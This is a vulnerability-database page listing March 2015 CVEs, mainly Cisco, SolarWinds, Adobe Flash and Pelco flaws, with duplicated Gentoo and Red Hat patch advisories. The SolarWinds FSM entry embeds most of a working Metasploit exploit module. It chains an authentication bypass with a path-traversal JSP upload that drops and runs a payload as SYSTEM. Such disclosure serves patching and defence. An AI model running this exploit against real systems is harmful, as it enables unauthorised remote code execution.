VARIoT IoT vulnerabilities database
| VAR-201503-0195 | CVE-2015-2107 | SAP for HP Operations Manager i In OS Command execution vulnerability |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
HP Operations Manager i Management Pack 1.x before 1.01 for SAP allows local users to execute OS commands by leveraging SAP administrative privileges. Supplementary information : CWE Vulnerability type by CWE-284: Improper Access Control ( Inappropriate access control ) Has been identified. HP Operations is a decentralized client/service software product for managing distributed environments
| VAR-201503-0168 | CVE-2015-0664 | Cisco AnyConnect Secure Mobility Client of IPC Vulnerability written to arbitrary user space memory area in channel |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
The IPC channel in Cisco AnyConnect Secure Mobility Client 4.0(.00051) and earlier allows local users to write to arbitrary userspace memory locations, and consequently gain privileges, via crafted messages, aka Bug ID CSCus79195.
Attackers can exploit this vulnerability to execute arbitrary code in the context of the user running the vulnerable application or to cause a denial-of-service condition.
This issue is tracked by Cisco Bug ID CSCus79195
| VAR-201503-0166 | CVE-2015-0662 | Cisco AnyConnect Secure Mobility Client Vulnerability gained in |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
Cisco AnyConnect Secure Mobility Client 4.0(.00051) and earlier allows local users to gain privileges via crafted IPC messages that trigger use of root privileges for a software-package installation, aka Bug ID CSCus79385. Cisco AnyConnect Secure Mobility Client Contains a privileged vulnerability.
A local attacker can exploit this issue to execute arbitrary code with elevated privileges.
This issue is tracked by Cisco Bug ID CSCus79385
| VAR-201503-0200 | CVE-2015-2284 | SolarWinds Firewall Security Manager of userlogin.jsp Vulnerability gained in |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
userlogin.jsp in SolarWinds Firewall Security Manager (FSM) before 6.6.5 HotFix1 allows remote attackers to gain privileges and execute arbitrary code via unspecified vectors, related to client session handling. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of client sessions. The issue lies in the ability to elevate to administrative privileges. An attacker can leverage this vulnerability to execute code under the context of SYSTEM. SolarWinds Firewall Security Manager (FSM) is a set of firewall security and change management software from SolarWinds, USA. The software provides capabilities for analyzing firewall configuration and log files, simplifying firewall troubleshooting and change management, analyzing complex firewall configuration cleanup rules, and more. There is a security vulnerability in the userlogin.jsp script of versions prior to SolarWinds FSM 6.6.5 HotFix1. The first vulnerability is an authentication bypass via the Change Advisor interface
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
file will only check the 'username' attribute before authorizing the 'uploadFile' action,
which can be exploited and allows the attacker to upload a fake xls host list file to the
server, and results in arbitrary code execution under the context of SYSTEM.
Depending on the installation, by default the Change Advisor web server is listening on port
48080 for an express install. Otherwise, this service may appear on port 8080.
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
download it from the module's References section.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', # Original discovery
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
'sinn3r' # Metasploit
],
'References' =>
[
['CVE', '2015-2284'],
['OSVDB', '81634'],
['ZDI', '15-107'],
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
],
'DefaultOptions' =>
{
'RPORT' => 48080 # Could be 8080 too
},
'Platform' => 'win',
'Targets' =>
[
['Solarwinds Firewall Security Manager 6.6.5', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
], self.class)
end
# Returns a checkcode that indicates whether the target is FSM or not
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
if res && res.body =~ /SolarWinds FSM Change Advisor/i
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Exploit/run command
def exploit
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
end
# Stage 1 of the attack
# 'admin' is there by default and you can't delete it
username = 'admin'
print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value(username)
print_status("Your SID is: #{sid}")
# Stage 2 of the attack
exe = generate_payload_exe(code: payload.encoded)
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
# Because when we get a shell, we will be at:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
# So we have to adjust this filename in order to delete the file
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
malicious_file = get_jsp_payload(exe, filename)
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
upload_exec(sid, filename, malicious_file)
end
private
# Returns a write-stager
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns JSP that executes stuff
# This is also from Juan's sonicwall_gms_uploaded.rb module
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns a JSP payload
def get_jsp_payload(exe, output_file)
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
end
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
def put_session_value(value)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
'method' => 'GET',
'vars_get' => { 'username' => value }
)
unless res
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
end
get_sid(res)
end
# Returns the session ID
def get_sid(res)
cookies = res.get_cookies
sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
sid
end
# Uploads a malicious file and then execute it
def upload_exec(sid, filename, malicious_file)
res = upload_file(sid, filename, malicious_file)
if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res.body.include?('java.lang.NoClassDefFoundError')
print_status('Payload being treated as XLS, indicates a successful upload.')
else
print_status('Unsure of a successful upload.')
end
print_status('Attempting to execute the payload.')
exec_file(sid, filename)
end
# Uploads a malicious file
# By default, the file will be saved at the following location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
def upload_file(sid, filename, malicious_file)
# Put our payload in:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
filename = "../../jsp/#{filename}"
mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
proto = ssl ? 'https' : 'http'
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
'method' => 'POST',
'vars_get' => { 'action' => 'uploadFile' },
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'cookie' => sid,
'headers' => { 'Referer' => ref }
)
end
# Executes the malicious file and get code execution
# We will be at this location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
def exec_file(sid, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
)
end
# Overrides the original print_status so we make sure we print the rhost and port
def print_status(msg)
super("#{rhost}:#{rport} - #{msg}")
end
end
| VAR-201503-0378 | CVE-2015-0333 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-0332, CVE-2015-0335, and CVE-2015-0339. Failed exploit attempts will likely result in denial-of-service conditions. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0071 | CVE-2015-0982 | Schneider Electric Pelco DS-NVs of DLL Vulnerable to buffer overflow |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Buffer overflow in an unspecified DLL in Schneider Electric Pelco DS-NVs before 7.8.90 allows remote attackers to execute arbitrary code via unspecified vectors. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the Rvctl.RVControl.1 ActiveX Control in rvctl.dll. The control does not check the length of an attacker-supplied string in the SetText method before copying it into a fixed length buffer on the stack. This allows an attacker to execute arbitrary code in the context of the browser process. Schneider Electric Pelco DS-NVs is a set of IP video management software from Schneider Electric of France. Schneider Electric DS-NVs are prone to a stack buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input before copying it into a fixed-size buffer. Failed exploit attempts will likely result in denial-of-service conditions
| VAR-201503-0164 | CVE-2015-0660 | Cisco TelePresence Server on Virtual Machine In software root Any at authority OS Command execution vulnerability |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
Cisco Virtual TelePresence Server Software does not properly restrict use of the serial port, which allows local users to execute arbitrary OS commands as root by leveraging vSphere controller administrative privileges, aka Bug ID CSCus61123. Supplementary information : CWE Vulnerability type by CWE-284: Improper Access Control ( Inappropriate access control ) Has been identified.
A local attacker may exploit this issue to gain shell access of the underlying operating system with root privileges. Successful exploits may result in complete system compromise.
This issue being tracked by Cisco Bug ID CSCus61123. The software provides functions such as audio and video spaces
| VAR-201503-0387 | CVE-2015-0342 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-0341. This vulnerability CVE-2015-0341 Is a different vulnerability. Supplementary information : CWE Vulnerability type by CWE-416: Use-after-free ( Use of freed memory ) Has been identified. http://cwe.mitre.org/data/definitions/416.htmlAn attacker could execute arbitrary code. Failed exploit attempts will likely cause a denial-of-service condition. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0386 | CVE-2015-0341 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-0342. This vulnerability CVE-2015-0342 Is a different vulnerability. Supplementary information : CWE Vulnerability type by CWE-416: Use-after-free ( Use of freed memory ) Has been identified. http://cwe.mitre.org/data/definitions/416.htmlAn attacker could execute arbitrary code. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of AVSS objects. By calling Load multiple times an attacker can force a dangling pointer to be reused after it has been freed. Failed exploit attempts will likely cause a denial-of-service condition. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
